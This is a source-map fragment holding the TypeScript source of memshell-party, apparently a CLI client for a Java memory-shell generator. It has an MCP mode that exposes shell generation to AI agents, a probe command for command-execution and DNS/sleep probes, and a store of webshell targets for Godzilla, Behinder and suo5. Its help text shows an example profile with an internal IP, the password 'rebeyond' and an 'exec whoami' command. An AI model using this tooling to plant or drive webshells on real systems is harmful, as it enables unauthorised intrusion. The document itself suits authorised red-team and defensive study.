(require(\"../package.json\") as PkgJson).version;\n} catch {\n try {\n version = (require(\"./package.json\") as PkgJson).version;\n } catch {\n // fall back to placeholder\n }\n}\n\nexport const CLI_VERSION = version;\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { startMcpStdio } from \"../mcp/server.js\";\nimport { resolveApiUrl } from \"../core/config.js\";\n\nexport function registerMcpCommand(program: Command): void {\n program\n .command(\"mcp\")\n .description(\"Run as an MCP server over stdio (exposes generation + config tools)\")\n .action(async (_opts: GlobalOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals();\n const client = createClient(globals);\n logInfo(`memshell-party MCP server starting (api: ${resolveApiUrl({ flag: globals.api })})`);\n await startMcpStdio(client);\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ParseCmdOptions extends GlobalOptions {\n file?: string;\n}\n\nexport function registerParseClassNameCommand(program: Command): void {\n program\n .command(\"parse-classname\")\n .description(\"Parse the fully-qualified class name from a .class file\")\n .argument(\"[base64]\", \"base64-encoded .class bytes (omit when using --file)\")\n .option(\"-f, --file <path>\", \"read a .class file from disk instead of passing base64\")\n .action(async (base64: string | undefined, opts: ParseCmdOptions, cmd: Command) => {\n let classBase64: string;\n if (opts.file) {\n classBase64 = readFileSync(opts.file).toString(\"base64\");\n } else if (base64) {\n classBase64 = base64.trim();\n } else {\n throw new Error(\"Provide base64 bytes as an argument or use --file <path>.\");\n }\n\n const client = createClient(cmd.optsWithGlobals());\n const name = await client.parseClassName(classBase64);\n process.stdout.write(`${name}\\n`);\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitPayload } from \"../core/output.js\";\nimport { buildProbeRequest, type ProbeOptions } from \"../core/request-builder.js\";\nimport { runProbeWizard } from \"../wizard/probe-wizard.js\";\n\ninterface ProbeCmdOptions extends GlobalOptions {\n method?: string;\n content?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n staticInitialize?: boolean;\n shellClassName?: string;\n host?: string;\n seconds?: string;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"method\", \"content\", \"packer\"] as const;\n\nfunction toOptions(o: ProbeCmdOptions): ProbeOptions {\n return {\n probeMethod: o.method!,\n probeContent: o.content!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n staticInitialize: o.staticInitialize,\n shellClassName: o.shellClassName,\n host: o.host,\n seconds: o.seconds !== undefined ? Number(o.seconds) : undefined,\n sleepServer: o.sleepServer,\n server: o.server,\n reqParamName: o.reqParamName,\n commandTemplate: o.commandTemplate,\n };\n}\n\nexport function registerProbeCommand(program: Command): void {\n program\n .command(\"probe\")\n .description(\"Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-m, --method <method>\", \"probe method: ResponseBody, DNSLog, Sleep\")\n .option(\"-c, --content <content>\", \"probe content: BasicInfo, Server, OS, JDK, Bytecode, Command\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21, or a class-file major version\")\n .option(\"--debug\", \"enable debug output\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--no-static-initialize\", \"disable static initialization (enabled by default)\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name\")\n .option(\"--host <host>\", \"DNSLog host (DNSLog method)\")\n .option(\"--seconds <n>\", \"sleep seconds (Sleep method)\")\n .option(\"--sleep-server <server>\", \"server to fingerprint (Sleep method)\")\n .option(\"--server <server>\", \"server (ResponseBody method)\")\n .option(\"--req-param-name <name>\", \"request param name (ResponseBody method)\")\n .option(\"--command-template <tpl>\", \"command template ({command} placeholder)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .action(async (opts: ProbeCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let probeOpts: ProbeOptions;\n if (wantWizard) {\n probeOpts = await runProbeWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n probeOpts = toOptions(opts);\n }\n\n const request = buildProbeRequest(probeOpts);\n const probeMeta = {\n probeMethod: probeOpts.probeMethod,\n probeContent: probeOpts.probeContent,\n packer: probeOpts.packer,\n jdk: probeOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateProbe(request);\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: probeMeta,\n });\n throw err;\n }\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta: probeMeta,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(response, null, 2)}\\n`);\n return;\n }\n\n const r = response.probeShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n\n if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {\n for (const [name, value] of Object.entries(response.allPackResults)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n if (response.packResult === undefined) {\n throw new Error(\"Server returned no packResult.\");\n }\n\n const result = emitPayload(response.packResult, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { checkbox, confirm, input, select } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { ProbeOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name })),\n];\n\nconst PROBE_METHODS = [\"ResponseBody\", \"DNSLog\", \"Sleep\"];\nconst PROBE_CONTENTS = [\"BasicInfo\", \"Server\", \"OS\", \"JDK\", \"Bytecode\", \"Command\"];\n\nexport async function runProbeWizard(client: MemPartyClient): Promise<ProbeOptions> {\n const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);\n const servers = Object.keys(config);\n\n const probeMethod = await select({\n message: \"Probe method\",\n choices: PROBE_METHODS.map((m) => ({ name: m, value: m })),\n });\n\n const probeContent = await select({\n message: \"Probe content\",\n choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c })),\n });\n\n const packer = await select({\n message: \"Packer\",\n choices: packerTree.flatMap((p) => [\n { name: p.name, value: p.name },\n ...p.children.map((c) => ({ name: ` ${c}`, value: c })),\n ]),\n });\n\n const opts: ProbeOptions = { probeMethod, probeContent, packer };\n\n switch (probeMethod) {\n case \"DNSLog\":\n opts.host = await input({ message: \"DNSLog host\" });\n break;\n case \"Sleep\":\n opts.sleepServer = await select({\n message: \"Sleep server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.seconds = Number(await input({ message: \"Seconds\", default: \"5\" }));\n break;\n case \"ResponseBody\":\n opts.server = await select({\n message: \"Server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.reqParamName = await input({ message: \"Request param name\", default: \"cmd\" });\n opts.commandTemplate = await input({\n message: \"Command template (optional, {command} placeholder)\",\n default: \"\",\n });\n break;\n default:\n break;\n }\n\n const shellClassName = await input({ message: \"Shell class name (optional)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n\n const confirmed = await confirm({ message: `Generate ${probeMethod} probe (${packer})?` });\n if (!confirmed) throw new Error(\"Cancelled by user.\");\n\n return opts;\n}\n","import { Command, Option } from \"commander\";\n\nimport {\n getProject,\n listProjects,\n removeProject,\n removeShell,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n type ShellInput,\n} from \"../core/targets.js\";\nimport { logOp } from \"../core/oplog.js\";\n\ninterface TargetSaveOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n insecure?: boolean;\n remark?: string;\n category?: string;\n shellRemark?: string;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nfunction parseRef(ref: string): { project: string; shell?: string } {\n const slash = ref.indexOf(\"/\");\n if (slash === -1) return { project: ref };\n return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };\n}\n\nexport function registerTargetCommand(program: Command): void {\n const target = program\n .command(\"target\")\n .description(\n \"Manage named shell targets: projects (remark + category) grouping several shells\",\n );\n\n target\n .command(\"save\")\n .description(\n \"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)\",\n )\n .argument(\"<ref>\", \"shell reference: <project>/<shell>\")\n .requiredOption(\"-u, --url <url>\", \"URL of the deployed shell\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices([\"godzilla\", \"behinder\", \"suo5\"]),\n )\n .option(\"--pass <pass>\", \"password\")\n .option(\"--key <key>\", \"godzilla key\")\n .option(\"--header-name <name>\", \"gate header name (shellToolConfig.headerName)\")\n .option(\"--header-value <value>\", \"gate header value (shellToolConfig.headerValue)\")\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--remark <text>\", \"project remark (merged into the project)\")\n .option(\"--category <name>\", \"project category (merged into the project)\")\n .option(\"--shell-remark <text>\", \"remark for this shell\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\\\\n -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\\\\n --remark \"内网测试环境\" --category test\n $ memparty exec hw222/bh9060 --cmd \"whoami\"\n`,\n )\n .action((ref: string, opts: TargetSaveOptions) => {\n const { project, shell } = parseRef(ref);\n if (!shell) {\n process.stderr.write(\n `Error: expected <project>/<shell>, got ${JSON.stringify(ref)}\\n`,\n );\n process.exitCode = 1;\n return;\n }\n if (!opts.tool) {\n process.stderr.write(\"Error: --tool is required (godzilla | behinder | suo5)\\n\");\n process.exitCode = 1;\n return;\n }\n if (opts.remark !== undefined || opts.category !== undefined) {\n saveProjectMeta(project, { remark: opts.remark, category: opts.category });\n }\n const input: ShellInput = {\n url: opts.url!,\n tool: opts.tool as ShellInput[\"tool\"],\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure || undefined,\n remark: opts.shellRemark,\n };\n const stored = saveShell(project, shell, input);\n logOp({\n category: \"target\",\n action: \"save\",\n targetName: `${project}/${shell}`,\n url: stored.url,\n tool: stored.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: opts.remark,\n projectCategory: opts.category,\n shellRemark: opts.shellRemark,\n },\n });\n if (opts.json) {\n process.stdout.write(\n `${JSON.stringify({ project, shell, ...stored }, null, 2)}\\n`,\n );\n } else {\n process.stdout.write(\n `saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}\\n`,\n );\n }\n });\n\n target\n .command(\"note\")\n .description(\"Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])\")\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\n .option(\"--remark <text>\", 'remark (\"\" to clear)')\n .option(\"--category <name>\", 'project category (\"\" to clear; projects only)')\n .action((ref: string, opts: { remark?: string; category?: string }) => {\n const { project, shell } = parseRef(ref);\n if (shell) {\n if (opts.category !== undefined) {\n process.stderr.write(\"Error: --category only applies to projects\\n\");\n process.exitCode = 1;\n return;\n }\n if (opts.remark === undefined) {\n process.stderr.write(\"Error: nothing to set — pass --remark\\n\");\n process.exitCode = 1;\n return;\n }\n const updated = saveShellMeta(project, shell, { remark: opts.remark });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: `${project}/${shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n process.stdout.write(`${project}/${shell}: remark=${updated.remark ?? \"-\"}\\n`);\n return;\n }\n if (opts.remark === undefined && opts.category === undefined) {\n process.stderr.write(\"Error: nothing to set — pass --remark and/or --category\\n\");\n process.exitCode = 1;\n return;\n }\n const existing = getProject(project);\n if (!existing) {\n process.stderr.write(`Error: unknown project ${JSON.stringify(project)}\\n`);\n process.exitCode = 1;\n return;\n }\n const updated = saveProjectMeta(project, {\n remark: opts.remark,\n category: opts.category,\n });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n process.stdout.write(\n `${project}: category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}\\n`,\n );\n });\n\n target\n .command(\"list\")\n .description(\"List saved projects and their shells\")\n .option(\"--category <name>\", \"only show projects in this category\")\n .option(\"--json\", \"output raw JSON\")\n .action((opts: { category?: string; json?: boolean }) => {\n const all = listProjects();\n const names = Object.keys(all).filter(\n (n) => opts.category === undefined || all[n]!.category === opts.category,\n );\n if (opts.json) {\n const filtered: Record<string, unknown> = {};\n for (const n of names) filtered[n] = all[n];\n process.stdout.write(`${JSON.stringify(filtered, null, 2)}\\n`);\n return;\n }\n if (names.length === 0) {\n process.stdout.write(`no saved projects (store: ${targetStorePath()})\\n`);\n return;\n }\n for (const name of names) {\n const p = all[name]!;\n const meta =\n [p.category ? `[${p.category}]` : undefined, p.remark].filter(Boolean).join(\" \");\n process.stdout.write(`${name}${meta ? ` ${meta}` : \"\"}\\n`);\n for (const [shellName, s] of Object.entries(p.shells)) {\n const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;\n process.stdout.write(`${line}${s.remark ? ` — ${s.remark}` : \"\"}\\n`);\n }\n }\n });\n\n target\n .command(\"remove\")\n .description(\"Remove a whole project or a single shell (<project>[/<shell>])\")\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\n .action((ref: string) => {\n const { project, shell } = parseRef(ref);\n const removed = shell ? removeShell(project, shell) : removeProject(project);\n logOp({\n category: \"target\",\n action: \"remove\",\n targetName: ref,\n ok: removed,\n detail: removed ? \"removed\" : \"unknown target\",\n });\n if (removed) {\n process.stdout.write(`removed ${ref}\\n`);\n } else {\n process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}\\n`);\n process.exitCode = 1;\n }\n });\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\ninterface VersionCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nexport function registerVersionCommand(program: Command): void {\n program\n .command(\"version\")\n .description(\"Show CLI version and the backend server version\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: VersionCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n let server: Awaited<ReturnType<typeof client.getVersion>> | { error: string };\n try {\n server = await client.getVersion();\n } catch (err) {\n server = { error: (err as Error).message };\n }\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ cli: CLI_VERSION, server }, null, 2)}\\n`);\n return;\n }\n\n const lines = [`CLI: ${CLI_VERSION}`];\n if (\"error\" in server) {\n lines.push(`Server: (unavailable) ${server.error}`);\n } else {\n lines.push(`Server: ${server.currentVersion}`);\n if (server.hasUpdate) {\n lines.push(`Update: ${server.latestVersion} available`);\n }\n }\n process.stdout.write(`${lines.join(\"\\n\")}\\n`);\n });\n}\n"],"mappings":";;;AAAA,SAAS,WAAAA,gBAAe;;;ACgBjB,IAAM,WAAN,cAAuB,MAAM;AAAA,EAClC,YACE,SACS,QACA,KACT;AACA,UAAM,OAAO;AAHJ;AACA;AAGT,SAAK,OAAO;AAAA,EACd;AAAA,EALW;AAAA,EACA;AAKb;AAgBO,IAAM,iBAAN,MAAqB;AAAA,EACT;AAAA,EACA;AAAA,EACA;AAAA,EAEjB,YAAY,SAAgC;AAC1C,SAAK,UAAU,QAAQ,QAAQ,QAAQ,QAAQ,EAAE;AACjD,SAAK,YAAY,QAAQ,SAAS,WAAW;AAC7C,SAAK,YAAY,QAAQ,aAAa;AACtC,QAAI,OAAO,KAAK,cAAc,YAAY;AACxC,YAAM,IAAI;AAAA,QACR;AAAA,MACF;AAAA,IACF;AAAA,EACF;AAAA;AAAA,EAIA,aAAoC;AAClC,WAAO,KAAK,QAAsB,OAAO,qBAAqB;AAAA,EAChE;AAAA,EAEA,YAAiC;AAC/B,WAAO,KAAK,QAAoB,OAAO,aAAa;AAAA,EACtD;AAAA,EAEA,gBAAqC;AACnC,WAAO,KAAK,QAAoB,OAAO,0BAA0B;AAAA,EACnE;AAAA,EAEA,aAAgC;AAC9B,WAAO,KAAK,QAAkB,OAAO,qBAAqB;AAAA,EAC5D;AAAA,EAEA,oBAA8C;AAC5C,WAAO,KAAK,QAAyB,OAAO,6BAA6B;AAAA,EAC3E;AAAA,EAEA,aAAmC;AACjC,WAAO,KAAK,QAAqB,OAAO,cAAc;AAAA,EACxD;AAAA;AAAA,EAIA,iBAAiB,KAAiE;AAChF,WAAO,KAAK,QAAkC,QAAQ,0BAA0B;AAAA,MAC9E,MAAM;AAAA,IACR,CAAC;AAAA,EACH;AAAA,EAEA,cAAc,KAAqE;AACjF,WAAO,KAAK,QAAoC,QAAQ,uBAAuB;AAAA,MAC7E,MAAM;AAAA,IACR,CAAC;AAAA,EACH;AAAA;AAAA,EAGA,eAAe,aAAsC;AACnD,WAAO,KAAK,QAAgB,QAAQ,kBAAkB;AAAA,MACpD,MAAM;AAAA,MACN,KAAK;AAAA,IACP,CAAC;AAAA,EACH;AAAA;AAAA,EAIA,MAAc,QACZ,QACA,MACA,OAAyD,CAAC,GAC9C;AACZ,UAAM,MAAM,GAAG,KAAK,OAAO,GAAG,IAAI;AAClC,UAAM,UAAkC,CAAC;AACzC,QAAI;AAEJ,QAAI,KAAK,SAAS,QAAW;AAC3B,cAAQ,cAAc,IAAI;AAC1B,aAAO,KAAK,UAAU,KAAK,IAAI;AAAA,IACjC,WAAW,KAAK,SAAS,QAAW;AAClC,cAAQ,cAAc,IAAI;AAC1B,aAAO,KAAK;AAAA,IACd;AAEA,UAAM,aAAa,IAAI,gBAAgB;AACvC,UAAM,QAAQ,WAAW,MAAM,WAAW,MAAM,GAAG,KAAK,SAAS;AAEjE,QAAI;AACJ,QAAI;AACF,iBAAW,MAAM,KAAK,UAAU,KAAK;AAAA,QACnC;AAAA,QACA;AAAA,QACA;AAAA,QACA,QAAQ,WAAW;AAAA,MACrB,CAAC;AAAA,IACH,SAAS,KAAK;AACZ,UAAI,eAAe,SAAS,IAAI,SAAS,cAAc;AACrD,cAAM,IAAI,SAAS,2BAA2B,KAAK,SAAS,MAAM,GAAG,GAAG;AAAA,MAC1E;AACA,YAAM,IAAI;AAAA,QACR,mBAAmB,GAAG,KAAM,IAAc,OAAO;AAAA,QACjD;AAAA,QACA;AAAA,MACF;AAAA,IACF,UAAE;AACA,mBAAa,KAAK;AAAA,IACpB;AAEA,UAAM,UAAU,MAAM,SAAS,KAAK;AAEpC,QAAI,CAAC,SAAS,IAAI;AAChB,UAAI,UAAU,WAAW,SAAS;AAClC,UAAI;AACF,cAAM,SAAS,KAAK,MAAM,OAAO;AACjC,YAAI,QAAQ,MAAO,WAAU,OAAO;AAAA,MACtC,QAAQ;AAAA,MAER;AACA,YAAM,IAAI,SAAS,SAAS,SAAS,QAAQ,GAAG;AAAA,IAClD;AAEA,QAAI,KAAK,KAAK;AACZ,aAAO;AAAA,IACT;AACA,QAAI,YAAY,IAAI;AAClB,aAAO;AAAA,IACT;AACA,WAAO,KAAK,MAAM,OAAO;AAAA,EAC3B;AACF;;;ACzKA,SAAS,oBAAoB;AAC7B,SAAS,eAAe;AACxB,SAAS,YAAY;AAEd,IAAM,kBAAkB;AACxB,IAAM,UAAU;AAevB,SAAS,WAAW,MAAkC;AACpD,QAAM,OAAO,KAAK,MAAM,aAAa;AACrC,MAAI;AACF,UAAM,MAAM,aAAa,MAAM,MAAM;AACrC,WAAO,KAAK,MAAM,GAAG;AAAA,EACvB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AASO,SAAS,cAAcC,SAA4B,CAAC,GAAW;AACpE,QAAM,MAAMA,OAAM,OAAO,QAAQ;AACjC,QAAM,OAAOA,OAAM,QAAQ,QAAQ;AAEnC,QAAM,WAAWA,OAAM,MAAM,KAAK;AAClC,MAAI,SAAU,QAAO;AAErB,QAAM,UAAU,IAAI,OAAO,GAAG,KAAK;AACnC,MAAI,QAAS,QAAO;AAEpB,QAAM,WAAW,WAAW,IAAI,GAAG,QAAQ,KAAK;AAChD,MAAI,SAAU,QAAO;AAErB,SAAO;AACT;;;AC1CO,SAAS,aAAa,MAAqC;AAChE,QAAM,UAAU,cAAc,EAAE,MAAM,KAAK,IAAI,CAAC;AAChD,QAAM,YAAY,KAAK,UAAU,OAAO,KAAK,OAAO,IAAI;AACxD,SAAO,IAAI,eAAe,EAAE,SAAS,UAAU,CAAC;AAClD;AAQO,SAAS,QAAQ,KAAmB;AACzC,UAAQ,OAAO,MAAM,GAAG,GAAG;AAAA,CAAI;AACjC;;;ACfA,SAAS,iBAAiB,MAAe,MAA2B,aAAmC;AACrG,MAAI,MAAM;AACR,YAAQ,OAAO,MAAM,GAAG,KAAK,UAAU,MAAM,MAAM,CAAC,CAAC;AAAA,CAAI;AAAA,EAC3D,OAAO;AACL,YAAQ,OAAO,MAAM,GAAG,YAAY,EAAE,KAAK,IAAI,CAAC;AAAA,CAAI;AAAA,EACtD;AACF;AAEO,SAAS,sBAAsB,SAAwB;AAC5D,QAAM,SAAS,QACZ,QAAQ,QAAQ,EAChB,YAAY,gEAAgE;AAE/E,SACG,QAAQ,SAAS,EACjB,YAAY,8CAA8C,EAC1D,OAAO,UAAU,iBAAiB,EAClC,OAAO,OAAO,MAAwB,QAAiB;AACtD,UAAM,SAAS,aAAa,IAAI,gBAAgB,CAAC;AACjD,UAAM,UAAU,MAAM,OAAO,WAAW;AACxC;AAAA,MAAiB;AAAA,MAAS,KAAK;AAAA,MAAM,MACnC,OAAO,QAAQ,OAAO,EAAE,IAAI,CAAC,CAAC,MAAM,KAAK,MAAM,GAAG,IAAI;AAAA,IAAO,MAAM,KAAK,IAAI,CAAC,EAAE;AAAA,IACjF;AAAA,EACF,CAAC;AAEH,SACG,QAAQ,OAAO,EACf,YAAY,qDAAqD,EACjE,SAAS,YAAY,gCAAgC,EACrD,OAAO,UAAU,iBAAiB,EAClC,OAAO,OAAO,QAA4B,MAAwB,QAAiB;AAClF,UAAM,SAAS,aAAa,IAAI,gBAAgB,CAAC;AACjD,UAAMC,UAAS,MAAM,OAAO,UAAU;AACtC,UAAM,WAAW,SAAS,EAAE,CAAC,MAAM,GAAGA,QAAO,MAAM,KAAK,CAAC,EAAE,IAAIA;AAC/D;AAAA,MAAiB;AAAA,MAAU,KAAK;AAAA,MAAM,MACpC,OAAO,QAAQ,QAAQ,EAAE,QAAQ,CAAC,CAAC,MAAM,KAAK,MAAM;AAAA,QAClD;AAAA,QACA,GAAG,OAAO,QAAQ,KAAK,EAAE,IAAI,CAAC,CAAC,MAAM,KAAK,MAAM,KAAK,IAAI,KAAK,MAAM,KAAK,IAAI,CAAC,EAAE;AAAA,MAClF,CAAC;AAAA,IACH;AAAA,EACF,CAAC;AAEH,SACG,QAAQ,SAAS,EACjB,YAAY,oCAAoC,EAChD,OAAO,UAAU,iBAAiB,EAClC,OAAO,OAAO,MAAwB,QAAiB;AACtD,UAAM,SAAS,aAAa,IAAI,gBAAgB,CAAC;AACjD,UAAM,OAAO,MAAM,OAAO,cAAc;AACxC;AAAA,MAAiB;AAAA,MAAM,KAAK;AAAA,MAAM,MAChC,KAAK,IAAI,CAAC,MAAO,EAAE,SAAS,SAAS,GAAG,EAAE,IAAI;AAAA,IAAO,EAAE,SAAS,KAAK,IAAI,CAAC,KAAK,EAAE,IAAK;AAAA,IACxF;AAAA,EACF,CAAC;AAEH,SACG,QAAQ,SAAS,EACjB,YAAY,yDAAyD,EACrE,OAAO,UAAU,iBAAiB,EAClC,OAAO,OAAO,MAAwB,QAAiB;AACtD,UAAM,SAAS,aAAa,IAAI,gBAAgB,CAAC;AACjD,UAAM,KAAK,MAAM,OAAO,kBAAkB;AAC1C,qBAAiB,IAAI,KAAK,MAAM,MAAM;AAAA,MACpC,eAAe,GAAG,WAAW,KAAK,IAAI,CAAC;AAAA,MACvC,0BAA0B,GAAG,sBAAsB,KAAK,IAAI,CAAC;AAAA,IAC/D,CAAC;AAAA,EACH,CAAC;AACL;;;AC1EA,SAAkB,cAAc;;;ACiBhC,IAAM,iBACJ;AAuFF,IAAM,gBACJ;AA2GF,IAAM,uBACJ;AAidK,IAAM,mBAAmB,OAAO,KAAK,gBAAgB,QAAQ;AAC7D,IAAM,kBAAkB,OAAO,KAAK,eAAe,QAAQ;AAC3D,IAAM,yBAAyB,OAAO,KAAK,sBAAsB,QAAQ;;;AChqBhF,IAAM,iBAAiB;AAEvB,IAAM,SAAN,MAAa;AAAA,EACX,YAAqB,KAAa;AAAb;AAAA,EAAc;AAAA,EAAd;AAAA,EACrB,GAAG,KAAqB;AACtB,WAAO,KAAK,IAAI,UAAU,GAAG;AAAA,EAC/B;AAAA,EACA,GAAG,KAAqB;AACtB,WAAO,KAAK,IAAI,aAAa,GAAG;AAAA,EAClC;AACF;AAUA,SAAS,SAAS,KAAuB;AACvC,QAAM,MAAM,IAAI;AAChB,QAAM,QAAQ,IAAI,GAAG,CAAC;AACtB,QAAM,OAAO,oBAAI,IAAoB;AACrC,MAAI,yBAAyB;AAC7B,MAAI,MAAM;AACV,WAAS,IAAI,GAAG,IAAI,OAAO,KAAK;AAC9B,UAAM,MAAM,IAAI,GAAG,GAAG;AACtB,YAAQ,KAAK;AAAA,MACX,KAAK,GAAG;AACN,cAAM,MAAM,IAAI,GAAG,MAAM,CAAC;AAC1B,cAAM,QAAQ,IAAI,SAAS,QAAQ,MAAM,GAAG,MAAM,IAAI,GAAG;AACzD,aAAK,IAAI,GAAG,KAAK;AACjB,YAAI,UAAU,eAAgB,0BAAyB;AACvD,eAAO,IAAI;AACX;AAAA,MACF;AAAA,MACA,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AACH,eAAO;AACP;AAAA,MACF,KAAK;AAAA;AAAA,MACL,KAAK;AACH,eAAO;AACP;AACA;AAAA,MACF,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AAAA;AAAA,MACL,KAAK;AACH,eAAO;AACP;AAAA,MACF,KAAK;AACH,eAAO;AACP;AAAA,MACF;AACE,cAAM,IAAI,MAAM,iCAAiC,GAAG,aAAa,CAAC,EAAE;AAAA,IACxE;AAAA,EACF;AACA,SAAO,EAAE,OAAO,KAAK,KAAK,MAAM,uBAAuB;AACzD;AAEA,SAAS,gBAAgB,OAAuB;AAC9C,QAAM,OAAO,OAAO,KAAK,OAAO